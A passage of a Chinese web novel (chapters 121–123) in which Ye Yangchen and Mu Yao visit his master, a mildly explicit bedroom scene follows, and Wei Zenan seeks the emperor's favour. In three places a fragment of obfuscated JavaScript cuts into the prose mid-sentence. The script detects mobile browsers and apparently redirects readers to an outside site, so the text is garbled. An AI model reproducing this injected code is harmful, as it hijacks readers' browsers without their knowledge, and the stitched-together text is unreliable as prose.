“晌午时分。”叶阳晨的语气里依旧带着欢悦。 慕瑶也赶紧穿鞋下了小榻,快步到叶阳晨身边跪下,“师父,几年没见了,你还好吗?”因慕瑶的易容术是楚宗教的,所以即使楚宗从未承认过慕瑶是她的徒弟,在慕瑶心里,同样视楚宗为师父,且心里极为尊敬,而饱含亲情。 楚宗对慕瑶的语气就温和一些,“还好,还好,你快起身,不用跪的。” “慕瑶的易容术是师父教的,瑶儿又是阳晨的妻子,当然要同跪的。” 楚宗略随和道:“你们都起来吧。” 他们两人同时站起来,坐在了楚宗的对面。 楚宗忍不住问道:“臭小子,你现在不应该在楚州吗?怎么能此时回来?” “哦,皇上派我到后方征兵筹粮,所以我顺道回家看看,待不了几日的。”叶阳晨本不想瞒着师父,可觉得自己的身世太过复杂,而且又牵扯到自己的婚事,那些身不由己,那些不由自主,说出来还是非常令人糟心的。况且叶阳晨觉得今天他刚刚跟师父见面,难得师徒团聚,应该多聊聊开心的事,故而还是决定先撒个小谎算了,他日找到合适的机会再把自己的身世告与师父。 楚宗没有深问,转而说道:“小晨,师父也是刚刚云游回来,你打的临昌和楚州两战,我在外时也偶有耳闻,打得还是不错。”其实不是偶有耳闻,楚宗一路上,无论吃饭还是住店,都会听到百姓们谈起叶阳晨的种种丰功伟绩。那些赞叹声不绝于耳,楚宗觉得自己的耳朵都快长茧子了,可心里却是满满的得意与骄傲。 自楚宗第一次见叶阳晨,便看出这孩子天资聪颖,生性慧黠,加之他又有一副练武的好筋骨,楚宗便在心中断定叶阳晨将来必成大器。可是他千想万算,却没有想到有朝一日叶阳晨不仅功夫赫于武林、啸在江湖,他在驰骋疆场中同样能大展身手、建功立业。 见师父夸自己,叶阳晨有点不好意思,他挠头道:“师父,徒弟那是运气好,才侥幸逼退敌人。” “呦,你小子还学会谦虚了?以前你恨不得把牛吹上天,然后那些牛永远飘在空中不落下来。” 叶阳晨咧嘴一笑,“师父,那我重新说,那海小儿乃碌碌之辈,不足为虑。生此乱世,徒儿自当带三尺利剑退敌于千里之外,当有一日,凡日月所照、江河所至,皆为丰土。” “你就贫嘴吧。”楚宗思忖片刻,还是决定夸一下徒弟,“你有雄心壮志,师父以你为傲。” 叶阳晨突亮双眸,“师父,你还记得我当初拜师时说的话吗?我说我要成为大英雄,那么我现在算是英雄吗?” “还差那么一点点,臭小子,如果有一天你都做到了刚刚你所说的那些,就算是真英雄了。” 叶阳晨撇了撇嘴,假装失落地自言自语,“唉,让师父承认我是英雄不知何年何月了。” 楚宗没有说话,只是心里相信会有那么一天的。 他们师徒两人又说了会儿话,慕瑶这才开口道:“阳晨,我看时候也不早了,也该做晚饭了,不如今儿的晚饭就由我们俩做给师父吃吧?师父不是喜欢吃烤鹿肉吗?今晚我来烤给师父吃。只是鹿肉需要你帮我去皮收拾一下,那个我不敢弄。” 叶阳晨诧异,“你行吗?还烤鹿肉?平时也没见你做过菜啊?别是做出来难以下咽那种。” “你少小瞧人,我在家也是练习过的。” 慕瑶确实练习过烤鹿肉这道菜,只是事情的起因很偶然。 那年冬天,林远峰的朋友送来两只上好的鹿肉,家里的厨房就把一部分鹿肉烤来吃,这让慕瑶不禁想起自己在玉狼峰时与楚宗师父和叶阳晨吃的那次烤鹿肉。两相比较,就味道来说,林慕瑶还是觉得自家厨子做得更好吃。这并不是慕瑶的错觉,林府的厨子本就是经过精挑细选才入府的,并且家里的调料种类要是比楚宗那里多许多,这自然不是玉狼峰这里能比的。而且同样是烤鹿肉,林府的做法更讲究,菜做出来的品相也更精致好看。 从前看到家里桌子上有那些煎烤类的菜,慕瑶是不太伸筷子的,她的饮食一直都以清淡为主,反倒是妹妹诗怡很喜欢吃这些烤肉。但是那次家里的餐桌有这道烤鹿肉的菜,她还是眼前一亮。可能是在泽清山吃过,这份情结就一直埋在了心里,所以慕瑶那天吃了许多,全家人都觉得惊讶,感叹慕瑶的习性怎么就转变了。 吃过那日晚饭,慕瑶翌日便跑去膳堂学这道烤鹿肉是怎么做的,她就想能有一日亲自做给楚宗和阳晨吃。家里的厨人总管王师傅一见大小姐进了厨房差点吓个半死,连忙劝说慕瑶出去。莫要说林府这样的官宦府邸,就是一般的富裕之家小姐也不会亲下庖厨的。 无奈那些厨师都阻止不了慕瑶学菜的热情,下人们经不住慕瑶几次相求,最后只好妥协把做菜的方法讲给慕瑶听。慕瑶很认真地记下做菜的步骤,听后她还想亲自做一下练练手,这个厨人们怎么都不敢同意,而只允许慕瑶旁观,因为一旦把慕瑶烫伤了,可不是闹着玩的。 慕瑶也便不再为难那些奴才,只是一连几日都跑去厨房站在厨子旁边认真学习。后面虽然没有实践的机会,但慕瑶学习格外用心,她相信自己也能做到家里味道的七七八八。 这次要来玉狼峰,慕瑶还特意回了趟长风寨,就是去取调料去了。她把寨子里能带的调料都带上了,就是等着到玉狼峰上“一展身手”。 楚宗知道叶阳晨和林慕瑶都不擅厨艺,便接话道:“还是师父做给你们两个小鬼吃吧?” 慕瑶的犟脾气上来了,“师父,我真的可以做的,我要让你尝尝我的手艺的。” 怕楚宗仍不同意,慕瑶补充说道:“师父,就当瑶儿孝敬您的,今日一定要给您做一次饭,报答您对阳晨的关爱,也报答您当初传授我易容术。” 楚宗见慕瑶话说得如此诚恳,也不好再推拒,“那好,我也清闲一回。” 这些年楚宗一直贵为武林至尊,高处不胜寒,总是站在世界之巅令他的朋友也就很少。他早已习惯了独来独往,只是习惯了孤独的人,也难免有寂寞的时候,楚宗只有在想起阳晨的时候,才觉得自己的生活里也是有一抹亮色和一丝温暖的。 想来楚宗也觉得好笑,当初叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573531|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阳天上山替叶阳晨拜师,自己还极力反对。如果当时自己真的错过了这个徒弟,那么这一点亮色和温暖也没有了,甚至生命里连个寄托也没有。 看着两个孝顺孩子在那里忙活着,楚宗鼻子微微发酸,他想这回自己老了应该不是鳏寡孤独之人了吧?楚宗相信自己这个徒弟会永远孝顺自己,甚至胜于相信明日的太阳还会照常升起,他教的徒弟当然他最了解,叶阳晨是那么重情重义。 叶阳晨帮着慕瑶做完去皮剥肉的工作后,慕瑶就不让他呆在自己旁边碍事了。叶阳晨就过去继续陪着师父聊天,师徒两人从山河风光聊到风土人情,从兵法战术说到武功招式。 楚宗和阳晨性格里有诸多相似之处,都外冷内热、傲气孤僻,也都自负自大、坚持己见,却又都那么不服输,所以聊天中偶有不同意见时,两个人谁也不肯妥协,总是会争得面红耳赤的。不过他们两人争执时的表现有不同,楚宗的嗓门一直很高,力求气势夺人。而叶阳晨在一旁就像个受气包,他毕竟是徒弟,决不敢硬碰硬地顶着楚宗说话,更不敢高声与师父说话,他只是不厌其烦地解释和反对。 慕瑶听到他们师徒两人争吵以及争吵的内容,不觉在心里发笑,“这两个人,一个是长不大,一个是老小孩,谁也不让着谁。”慕瑶也曾私下劝过叶阳晨,说师父年岁毕竟大了,聊天时让着他一点。可叶阳晨不以为然,说这是他们师徒独有表达感情的方式。慕瑶听丈夫那么说,也就嫣然一笑,后面再遇到这种情形时,她便也不再说了。 当时慕瑶只是看家里的厨人怎么做这道菜,并没有亲自实践的经验,看和做到底是两码事。纸上得来终觉浅,真到自己做的时候,她发现还是挺难的。加之慕瑶本就很少下厨,做得就更慢了些。她怕楚宗和叶阳晨等得时间长,就更想快一点,可是越着急越弄不好,急得她满头是汗。 烤之前的工序还是挺多的,慕瑶把鹿腿和鹿肉划了许多道口子,以便调味料更好地渗透到肉里。肉要先提前腌制,烤出来的鹿肉才入味。 慕瑶在碗中加入油、辣椒、黄酒、孜然粒、胡椒粉、盐、酱油等,为了口感更好,她还在调料中加了一点点蜂蜜,这些调料搅拌均匀后就制成了腌料。慕瑶用刷子把这些腌料抹在肉的表面,使肉充分与腌料接触。(部分调料查询来自百度百科) 肉腌制了半个时辰后,慕瑶就开始烤了。烤的时候,慕瑶又在肉的表面加了大蒜、洋葱、姜片等调味品。 楚宗和叶阳晨都是难得见面,两个人聊得都忘了时辰,也忘了慕瑶一直在这间屋子里忙碌着。直到屋里弥漫着烤鹿肉的香气,叶阳晨才不再和师父“犟嘴”了,他跑到慕瑶身边,“贼婆娘,需要我帮忙吗?” 慕瑶都习惯叶阳晨这样称呼自己了,只是嗔怪道:“不要打扰我嘛,现在正是关键时候,做得不好就赖你。” 见慕瑶的表情那么认真,叶阳晨只有缄口不言,静静地看着慕瑶弄。 又等了少刻,慕瑶才笑颜喊道:“师父,您坐过来吧,应该可以吃了。” 楚宗站起身,走了过来,看了一眼炉架子鹿肉道:“嗯,卖相不错,应该比师父做得好吃。” 听到师父夸自己,慕瑶心里有一丝得意和满足,只是她仍担心卖相虽好,吃起来却不好吃。 楚宗这话还真不是刻意的夸奖,那烤鹿肉色泽鲜亮,颜色褐红,看着就很有食欲。 122. 第一百二十二章 慕瑶先用刀切了一块肉放到楚宗的碗里,“师父,你先尝尝怎么样?” 这边,叶阳晨给师父倒酒,“师父,你尝尝这个酒,这是我从外边给你带的酒,好酒,烈酒,世间最浓酒。”叶阳晨知道师父平生只有两个喜好,那就是痴武好酒。 听徒弟这样说,楚宗稍稍迟疑,然后看了叶阳晨一眼。世间什么好酒他没喝过,他有些好奇徒儿自己评价的酒是否言过其实? 楚宗有个习惯,吃饭都是先端酒碗润润肠胃的,他是无酒不欢,即使没有菜,他也能连干三大碗。楚宗端起酒碗便皱起眉头,“诶?怎么才倒了半碗?干嘛不倒满?” 叶阳晨嘿嘿一笑,“师父,烈酒嘛,总要循序渐进,你还是不要喝得太急为好。” “臭小子,敢小瞧师父我,这点酒对我来说就只是润润喉咙。”话刚说完,楚宗便端起碗,将酒一饮而尽。 酒刚入肠肚,楚宗便惊到了,就连手中的碗都忘了放下,他得承认这酒真的是烈酒。 叶阳晨咧嘴一笑,“师父,我没有骗你吧?这酒不错吧?不对,不能用不错来形容,是天下无双,世间极品吧?” “苍筤醉?” 叶阳晨瞪大了眼睛,“师父,你怎么知道?” “没想到圣酒仙还活着,这真是令人愉悦的事!” “师父,你喝过这个酒?”这话一问出口,叶阳晨觉得自己简直是猪脑子,师父那么嗜酒,与圣酒仙可谓“臭味相同”,又怎么可能不认识九老伯呢? 楚宗心情一下大好,“那是二十年前的事了,与他喝酒,喝他亲自酿的酒。后来他消失得无影无踪,就没机会再喝到这酒了,也少了一个酒友。你遇到九酒了?” “嗯,徒儿偶然遇到九老伯。”叶阳晨心想:“自己不说在哪儿遇到的,也不算违背了答应九老伯的话。” 楚宗抢过酒罐子,又自己给自己连斟两碗,也都是一口气喝下。酒入肠肚,他“啊”了一声,感觉回味无穷,“这酒真是痛快。” “师父,徒儿记得你说过,喝酒就要喝最烈酒,那样的人生才恣意快活。师父,这酒算是烈酒吧?” “那当然,这酒当然够烈。算你小子还记着你师父我,给我把酒带了回来,不过就是带的太少了,这点哪够我喝啊?” 慕瑶拿着竹箸又夹了一块烤鹿肉放到楚宗的碗里,“师父,你也别一直喝酒,还是尝尝我烤的鹿肉怎么样。师父,那酒说起来是阳晨见花献佛,而这鹿肉却是徒儿媳妇自己的手艺。”见师父一直不吃肉,慕瑶有点着急了,她还着急听师父的评价呢。 楚宗看着两个孩子对自己如此孝顺,他反而有点不好意思。楚宗夹鹿肉塞进嘴里,细细嚼了嚼,“嗯,慕瑶这鹿肉烤得外酥里嫩,味道香醇,比我烤得好很多。” “真的吗?那我也尝尝。”说着,叶阳晨也拿着自己的匕首割了一块肉送进嘴里。 叶阳晨嚼了嚼,说道:“味道果然不错,不过瑶瑶,你这是加了多少料啊?” “我是加了很多料,有些调料还是我自己调制的。” 林慕瑶没有听出叶阳晨在打趣自己,楚宗沉声道:“臭小子,给你做着吃就不错了,你还挑肥拣瘦的。人家慕瑶忙了这么半天,一定累坏了。” “师父,我不累的。” 叶阳晨看向慕瑶,见她两鬓的碎发掉下来少许垂在额前,鼻尖上还有调料汁,暖笑道:“还是有点累的,对不对?”他边说边把慕瑶的鬓发别于耳后,然后又用匕首切了几块嫩肉放在慕瑶的碗中。 慕瑶见叶阳晨亲密地照顾着自己,柔声道:“你吃吧,不用照顾我。对了,我们一起敬师父一碗酒吧?”这酒太烈,叶阳晨只给慕瑶倒了一点点而已。 两个晚辈端起酒碗,与楚宗师父的酒碗撞在一起,三人各自喝下去。这顿饭他们吃得格外开心,菜很得味,酒很浓。 慕瑶早已不是那种侯门大小姐的生活习惯,吃着这样的市井美食,她也津津有味。出嫁从夫,她自从认定自己是叶阳晨的妻子,也就慢慢去习惯和适应叶阳晨的生活方式。 那晚楚宗喝了好多酒,兴致高时突然道:“瑶儿,你的易容术有没有长进啊?离开的这些年有没有疏于练习而荒废啊?” 话音一落,慕瑶突然紧张起来,她犯了难,不知该怎么回答这个问题。如果说自己练得很好,怕师父觉得自己不谦虚,如果说自己没有提升,又怕师父觉得自己不求上进。 慕瑶是那种不忍辜负别人的女孩,既然楚宗当了一回自己的“师父”,她就不能让师父觉得白收了自己这个“徒弟”。所以离开泽清山的这些年,慕瑶一直勤于练习自己的易容术,她在易容方面很注重细节,力求精益求精,她甚至在楚宗授教的基础上进行改良,加入了自己的创新。当然的了,慕瑶也是真的喜欢易容术这个本事。 别看慕瑶一直端庄温婉,但她为了检验自己的易容术是否成功表现出顽皮孩子气的一面,她经常扮成家仆在府里各处出入,有两次她还分别扮成了陈伯和父亲的模样,那些下人见了她都是恭敬地打招呼行礼,这种检验的结果令她甚为满意。 慕瑶犹豫片刻后才回答楚宗,“师父,要不吃完饭后徒儿给您变一次,您看行吗?如有不足之处到时候您再帮我指点一二。”她把评判的标准交给楚宗,这样就不至于怎么回答都很尴尬了。 “欸,吃完饭做什么?现在就来变一次。” 慕瑶也不忸怩,站起来从自己随身带来的佩囊里取出变易容术所需的道具和材料,然后走回到楚宗面前,“那就变一下叶阳晨吧。” 慕瑶之所以选择变成自己的心上人,那是因为叶阳晨的脸她最为熟悉,也经常变。那些年她思念叶阳晨时,就在卧房把自己变成叶阳晨的模样,然后对着铜镜看上许久。不过这个排解思念的办法并不好,毕竟假的真不了,变得再像也不是真人,她越是这样做她就越想念叶阳晨,但不管怎么说,总能一解慕瑶心中相思之渴。这次既然是被师父考,她当然不希望出糗。 可不知是不是当着楚宗的面有些紧张,平日里几下就可以变好的,今天慕瑶出了好几次小纰漏。当然了,最后的结果还是好的,她变完后就是叶阳晨的翻版,几乎到了以假乱真的程度。就连叶阳晨自己都看得瞠目结舌的,啧啧称叹。 要不是两人身上穿的衣服不同,还真不太容易认出哪个是真正的叶阳晨,就连一些小细节慕瑶也都没放过,比如叶阳晨的眉间痣,她也给自己点了上去。 平时,叶阳晨并没有太多机会见识慕瑶的易容术,今天一见不同凡响,“瑶儿,你怎么变我变得这么像?是经常变吗?” 慕瑶的脸颊微红,低声道:“你乱说什么?脸皮真厚。” 楚宗开口道:“嗯,女孩子还是细心,变得是不错。只是瑶儿你还是要变得快一点,易容术一是要像,二是要快。如果只追求像而忽视了速度,那么还是耽误事的。”哪个做师父的,都是希望自己的徒弟进步更多的,而不会见徒弟已经很优秀就很满足了。楚宗免不了要给慕瑶一些指点,但在他心里还是很欣慰自己这“半个徒弟”的。 楚宗看得出来,慕瑶能有如此成就,定是勤加练习了许多年。楚宗心中感慨:“自己的这个徒弟媳妇,不仅拥有美貌、聪慧,竟然还这么勤奋。”世间人,一旦有了聪明的脑袋,就觉得可以耍耍小聪明了,而那些勤奋的人往往因为资质太差才不得不努力。而慕瑶兼具两者,楚宗觉得这实在难得。 慕瑶当然明白师父所说,当年楚宗教她易容术的时候就强调过这一点,可她也不能为自己辩解,不能说是因为今天紧张导致发挥不尽如人意,那样还是挺丢人的。慕瑶只有默默听着,偶尔点头应是。 楚宗越喝越多,最后还是喝醉了,一头倒在他自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579401|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的榻上就睡着了。少时,屋里已是鼾声如雷。 叶阳晨和慕瑶还是睡在小榻上,小时候还好,现在两人都长大了,相对于他们的身形,这个榻就有些小了。两人挤在一起很不舒服,叶阳晨就只有搂着慕瑶睡。 晚上叶阳晨也没少喝,酒精的作用下,他也有点血脉喷张。外加两人身体挨得这么近,叶阳晨就更加“心猿意马”,情难自抑之下,他的手渐渐不老实起来。 等慕瑶感觉到异样已经有些迟了,她开始脸红耳热,呼吸也渐渐急促,她终于忍不住声音低沉道:“你想干什么?” 叶阳晨坏笑,“我想干什么你不知道吗?” “在这里是不行的,坚决不行。” “有什么不行的?” “你这不是明知故问吗?”慕瑶娇声说着,为了怕楚宗听见,她把声音压得不能再低。 “是因为师父吗?你没听到吗?他打的呼噜声震天动地的,说明他睡得很实,是不会醒的。” 慕瑶仍旧羞着拒绝道:“那也不行,我还是害怕被师父发现,那样我可怎么见人啊?” 楚宗睡的那张榻是在东侧,而叶阳晨躺的小榻位于西侧,两张床离得有点远,所以叶阳晨的胆子才大了些。 “可我现在很想,真的。”初尝禁果,初体验爱滋味,叶阳晨便如上了瘾,只要一有机会,总是要抓着慕瑶云雨一番。 林慕瑶对男女之事较为单纯,但她并不至于完全孤陋寡闻,她在书上看过即使是正人君子也有好色的一面,所以叶阳晨平时有此要求,她并不觉得意外。慕瑶深爱叶阳晨,自从他们有了第一次后,慕瑶便认为既然自己身子都给了叶阳晨了,那么而后叶阳晨需要欢好的时候,她便不再拒绝,任由叶阳晨予取予求。甚至当她发现这样能给叶阳晨带来快乐,慕瑶就更愿意配合了。当然,由于叶阳晨懂得怜香惜玉,所以每次颠鸾倒凤之时,她也体会到爱人带给自己的那种极致的快乐,只是这种感觉她从不敢告诉叶阳晨。 见叶阳晨仍不死心,慕瑶仍哄着他道:“你乖啦,下了山的。” 闻着慕瑶身上散发出的香气,叶阳晨感觉自己浑身像着了火一般,声音低沉道:“我好想要你,你就只褪去下身的衣服便好。” 慕瑶还没来得及再拒绝,她已感觉到斗篷下的衣物尽褪。林慕瑶还没来得及多想,叶阳晨已经得逞了。 片刻后云朝雨暮,缱绻交融。慕瑶咬紧了下唇,生怕自己发出声音会吵醒楚宗。 良久,云开雨霁,叶阳晨才“收兵回城”。慕瑶娇嗔道:“你太坏了,总欺负我。” “那你一会儿再让我欺负一次。” “你敢?如果你再这样,我真的会生气。” 叶阳晨听出慕瑶真的有点生气了,不敢再造次。 慕瑶语气带有一丝愠怒,“谁叫你那么坏,罚你把我的胫衣穿好。” 叶阳晨照做,帮着慕瑶把衣服重新穿好。心满意足后,叶阳晨问道:“瑶儿……” “我要睡了,不理你了,你不要吵我睡觉了。” “我只是想问问你明早要不要去看日出?” 慕瑶想了想道:“要去。” “好啦,那你睡吧,明早我叫你。” 慕瑶安心睡去。 翌日,两人又去舍身崖那里看了一次玉狼峰的日出,那景色还是如记忆中的那样震撼美丽。金色的光洒在慕瑶的脸上,映入她的眼眸里。 此景之下,慕瑶心中无限感慨:“这次回泽清山,一切都是那么美好,可离开的日子要到了,玉狼峰就是最后一站。她要与自己的爱人去迎接新的生活,开启更加波澜壮阔的画卷。”想到这里,慕瑶心有不舍,但也多了几分期待。 在玉狼峰住了三日后,叶阳晨和林慕瑶拜别师父下了山。楚宗虽舍不得他们走,但也知徒儿有要事在身,也只好放他们离开。 123. 第一百二十三章 回到长风寨,两人又在寨子里住了两日,之后他们告别父母启程去楚州了,分别时众人皆有不舍。 此时,诗怡、清扬和霍玉已经在去楚州的路上了。离开叶归寺,他们三人还是先回了趟西关道。诗怡想着总要给父母抱个平安,告诉他们姐姐慕瑶已经决定不出家了。 林远峰听到女儿没有走绝路的消息,心中本来大喜,可又听到慕瑶追随叶阳晨去了楚州,一时气得摔了茶盏。女儿这样不顾名声就跟人私奔了,他固然生气,可他摔茶碗却是故意而为,他这样是做给陈伯和卫泽楠看的,否则林远峰无法给这两人一个交代。 林远峰大吼:“简直是胡闹。” 在场的陈伯叹着气,“唉,岂止是胡闹?泽兰真是太不懂事了。” 卫泽楠失望到顶点,他失魂落魄地跌坐在椅子上。半晌,卫泽楠站起身,走到厅中央咆哮道:“你们全体人都放任叶阳晨和林慕瑶这样做吗?” 林慕瑶多半不会回来,这一点卫泽楠早已有了些心里准备,他之所以迟迟不肯离开林家,也不过是不到最后一刻不会死心罢了,他想听听这最后的消息。可卫泽楠千想万算,都没有想到林慕瑶竟然会“叛逆”到这种程度。在他心里,林慕瑶毕竟名义上是自己的妻子,自己的妻子和别人跑了,卫泽楠感觉自己脸被人打了,被人羞辱了,一时间颜面扫地,这才有点失去理智地大喊大叫。 面对卫泽楠的诘问,林远峰竟只能无言空叹息,之前他是那么极力地促成慕瑶与卫泽楠的婚事,如今婚事未成却屡次遭到卫泽楠的责备和质问,他长辈的身份毕竟摆在那里,却被一个晚辈无端发难,这不禁令林远峰对卫泽楠这个人的粗鄙浅薄很是失望,甚至升出一丝厌恶。想来,他不仅没有放任慕瑶私许终身,还曾激烈地反对过。整个过程卫泽楠也都是见证了的,现在却颠倒黑白地说自己放任,林远峰不知这话从何说起。所以林远峰在生气之余,胸口更是升出一丝憋闷和委屈来,但看在义兄的面上,他也只好不计较卫泽楠的失态失言。 卫泽楠继续咄咄逼人,“林伯伯,你快派人去把慕瑶抓回来啊!不能让她做这种败坏林家门风的事。” 林远峰愁容满面,“我都不知道慕瑶在哪儿,我又去哪找她呢?”这句话林远峰就是托辞了。慕瑶与叶阳晨走了,多半是去了楚州,他到那里多半能找到人,只是林远峰不可能把女儿抓回来。一来,女儿离家的这段时间,林远峰也自省过了,这次由于他一意孤行,差点害得女儿出了家,现在好不容易劝女儿回心转意了,他心中更多的是谢天谢地,又怎么会重蹈覆辙去逼女儿。二来,林远峰也厌倦了,数次因为婚事与女儿发生冲突,惹得全家不得安宁,他累了,所以就想放弃了。当然慕瑶的决心他这个当父亲的也看到了,他自认无法再劝女儿改变主意。 看着卫泽楠的不可理喻,诗怡几次要站出来斥责,可都被清扬拦了下来。清扬不想让诗怡趟这个浑水,索性让卫泽楠自己在那儿发疯算了。 每次看见卫泽楠与哥哥顶着几乎同样的一张脸,叶清扬都会觉得卫泽楠亵渎了哥哥的英名,他就恨不得把卫泽楠碎尸万段。只是看在卫泽楠与哥哥有血缘关系的份上,叶清扬才一次次地放过了卫泽楠。 陈伯也实在有些看不下去了,终于开腔道:“泽楠,不要再说了。事已至此,要我说,我们在这里打扰你林伯伯也够久了,我们也该回临昌州了。何况皇上已给你下了恩旨,你不能拖太久,还是要尽快回去谢恩的。” 陈伯的一番话,就像一盆冷水浇下来。卫泽楠失魂落魄,一言不发。 诗怡回家报完平安的第二天,就与清扬、霍玉和小六启程去楚州了。战场危险,林远峰想把诗怡留在家中,但诗怡怎么都不肯,她连夜就背着父亲走了。 诗怡他们走后两日,卫泽楠也知道再强留在林府也毫无意义,这才主动找陈伯说要回临昌。不过卫泽楠并没有放弃得到慕瑶,他只是想着再找其他办法罢了。 陈伯说要离开,心力交瘁的林远峰这次没有再多挽留,他恨不得把卫泽楠这个“麻烦”赶快打发走了。只是见卫泽楠心有不甘的样子,他也只好安慰说等慕瑶回家后再议婚事。得了林老爷这不是保证的保证,卫泽楠才安心了几分离开了西关道。 陈伯和卫泽楠两人一到临昌州,康诚便带着卫泽楠直接进宫面圣谢恩。 早朝后,丰献帝在御书房接见了卫泽楠,“下面站着的可是卫忠海之子卫泽楠?” 卫泽楠惶恐跪下,“正是臣下。” “朕初登大宝,龙御天下,继先帝之遗志,抚忠臣之功业。朕念汝父卫忠海生前鞠躬尽瘁为国,特封你为卫国公。” 卫泽楠激动得连续磕着响头,“谢皇上隆恩。” 项桓道:“平身吧!” 卫泽楠战战兢兢地起身,心里却是暗喜。这个公爵身份虽然不能在朝廷担任要职,但荣耀加身,足可享荣华富贵,而且他自觉有了这个爵位就更配得上林慕瑶了。 皇上声音威仪,“卫泽楠,既然你已有了爵位,就可自立府邸,不必再委屈住在誉国公府了,不知你心中可有心仪的安居乐业之所啊?京中上下,但凡有你中意的府宅就告知朕,朕便下恩旨赏赐于你。如果皆不满意,也可敕造一座府宅。” 即使皇上不问,卫泽楠也正在心里盘算着这个事。他连忙说道:“皇上,臣梦寐以求的安居之所不在临昌。” 献帝眉头一紧,“不是临昌,那是何地啊?” “臣想回西关道安家,望陛下成全。” “为何是西关啊?” “皇上有所不知,臣的祖上本是西关人士,臣思虑再三,如今获御赐爵位此等殊荣理应回乡光宗耀祖。” 丰献帝心中大喜,因为他内心就不想让卫泽楠留在京城,所以卫泽楠说要回西关,可以说是正中下怀,只是献帝性格多疑,他还是要问个究竟。 对于多年前卫忠海的冤案,当时项桓年纪尚小,所以算是没有亲历。可这些年过去后,对于整件事的是非因果、来龙去脉,他已心中了然。 虽说卫忠海故去多年,可京中门生遍地,项桓还是非常忌惮,他怕卫泽楠留在京城暗地结党复仇。所以为防事有生变,丰献帝更希望卫泽楠离自己远一些,故而卫泽楠选择回西关道正合他的心意。 皇上掩住心中喜悦,语气平淡,“那好吧,念你一份孝心,朕就依你。可爱卿日后离京城山高水远,朕也确实挂念啊,所以你要常来书信。”只要卫泽楠不留在京城,无论他去哪儿,献帝都会应允。 “吾主仁爱,臣感激涕零。”卫泽楠要求回西关,实际上有他自己的小算盘。卫泽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627312|125447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楠还不知这次慕瑶跟着叶阳晨去楚州后,短时间便不准备再回西关了。他想慕瑶闹闹脾气总要回家的,而自己守在西关,就可以来个近水楼台先得月,到时就可以软磨硬泡求林远峰把慕瑶嫁给自己。 林慕瑶这样的奇女子,卫泽楠见一眼便神魂颠倒,他怎么都不会放弃。传说西关林慕瑶生得清雅绝俗,从前卫泽楠也觉得世人传言多半不实,不足为信。可当他第一眼见到林慕瑶本人,便觉得慕瑶美得动人心魄、不可言状,传言甚至不抵其万一。 献帝坐下啜了口茶,“朕也累了,如爱卿没有别的事,那就跪安吧。” 卫泽楠站起身刚要退下,突然想到如果能求一道圣旨,让皇上把林慕瑶嫁给自己,岂不是事半功倍? 卫泽楠色胆包天,“皇上,臣还有一事相求。” 项桓有点不耐烦,“那就说吧。” “臣仰慕西关刺史林慕瑶,希望能与她一结连理,望皇上成全。” “林慕瑶?先帝不是将此女子许给叶阳晨了吗?” 卫泽楠略显尴尬,“呃,确实如此,但臣与林慕瑶早有婚约。” 皇上有些惊讶,“竟有此事?那叶阳晨知道你与林慕瑶有婚约吗?” “此人知道,但还是抢走了林慕瑶。”卫泽楠只字未提叶阳晨是他的亲弟弟,他不想让叶阳晨也沾上一点卫氏祖上的荣光。丰国向来都是长子袭爵,即便卫泽楠说出实情,叶阳晨也分不到什么厚赏,可哪怕是这样,卫泽楠还是有所防备。 本来献帝还有点怀疑叶阳晨是不是与卫泽楠有血缘关系,毕竟两人长得实在太像了,可见卫泽楠与叶阳晨抢老婆,言语中又有些敌意,献帝便卸下心中猜疑。 项桓站起来,踱着步子,“泽楠啊,叶阳晨的婚事当初也是父皇所定。如今他老人家刚归天,朕作为儿子,又怎么能马上违逆他呢?此事我看就算了吧。” “臣…遵旨。”卫泽楠听罢虽有些失落,但他不敢与皇上耍泼,也只好退出殿外。 其实按照丰国律法,即使是皇上,也不能轻易更改早前定下的婚约。也就是说,卫泽楠早与林慕瑶有割襟之盟,那么先皇顺帝之前的赐婚在法理上就是无效的,只是顺帝当初不知情罢了。这样来说,卫泽楠就是没有项桓的恩旨,也是可以名正言顺娶慕瑶的,只是叶阳晨不按常理出牌,卫泽楠就想通过皇上的力量给他施压。 项桓对赐婚一事极为慎重,他不敢轻易答应卫泽楠,把父皇搬出来也不过是在找托词。自他继位以来,叶阳晨屡立奇功,项桓心中自是偏向叶阳晨多一些。更重要的是,前几日朝廷刚得到消息,那海再次突袭楚州,这个时候献帝还要多加倚仗叶阳晨,更加不会得罪叶阳晨的。 原来前些日子,太师黄魏让太保董素给那海写去密信,告知他叶阳晨目前不在楚州的消息。那海收信后大喜过望,连夜整顿军队,大举南下。黄魏和董素就是丰国的蛀虫,见不得忠臣傲骨、国泰民安。 